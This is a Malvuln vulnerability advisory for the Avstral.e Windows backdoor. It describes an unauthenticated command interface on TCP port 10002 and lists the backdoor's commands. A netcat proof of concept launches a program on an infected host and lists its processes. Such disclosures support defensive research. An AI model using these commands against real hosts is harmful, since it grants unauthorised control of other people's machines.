Backdoor.Win32.Avstral.e Remote Command Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/35f0d754f161af35241cb081c73ea6dd.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Avstral.e  
Vulnerability: Unauthenticated Remote Command Execution  
Family: Avstral  
Type: PE32  
MD5: 35f0d754f161af35241cb081c73ea6dd  
Vuln ID: MVID-2022-0529  
Dropped files: mssys.exe  
Disclosure: 03/27/2022  
Description: The malware listens on TCP port 10002. Third-party adversaries who can reach an infected host can run commands made available by the backdoor.  
  
Commands.  
RUNF  
PROC  
LIST  
FIND  
DELE  
UPLF  
DOWF  
  
E.g. start calc.exe, RUNF"calc"   
  
Exploit/PoC:  
C:\>nc64.exe x.x.x.x 10002  
C:\WINDOWS  
C:\WINDOWS\system32RUNF"calc"  
Succesful  
C:\WINDOWS\system32PROC  
[System Process]  
System  
smss.exe  
csrss.exe  
wininit.exe  
csrss.exe  
winlogon.exe  
services.exe  
lsass.exe  
fontdrvhost.exe  
fontdrvhost.exe  
svchost.exe  
svchost.exe  
dwm.exe  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
Memory Compression  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
spoolsv.exe  
svchost.exe  
sihost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
VGAuthService.exe  
vmtoolsd.exe  
SecurityHealthService.exe  
svchost.exe  
taskhostw.exe  
WmiPrvSE.exe  
ctfmon.exe  
explorer.exe  
dllhost.exe  
dllhost.exe  
ShellExperienceHost.exe  
SearchUI.exe  
RuntimeBroker.exe  
RuntimeBroker.exe  
RuntimeBroker.exe  
SearchIndexer.exe  
msdtc.exe  
VSSVC.exe  
ProcessHacker.exe  
vm3dservice.exe  
vmtoolsd.exe  
WmiPrvSE.exe  
mssys.exe  
explorer.exe  
svchost.exe  
explorer.exe  
pestudio.exe  
backgroundTaskHost.exe  
WmiApSrv.exe  
*************************************************************  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
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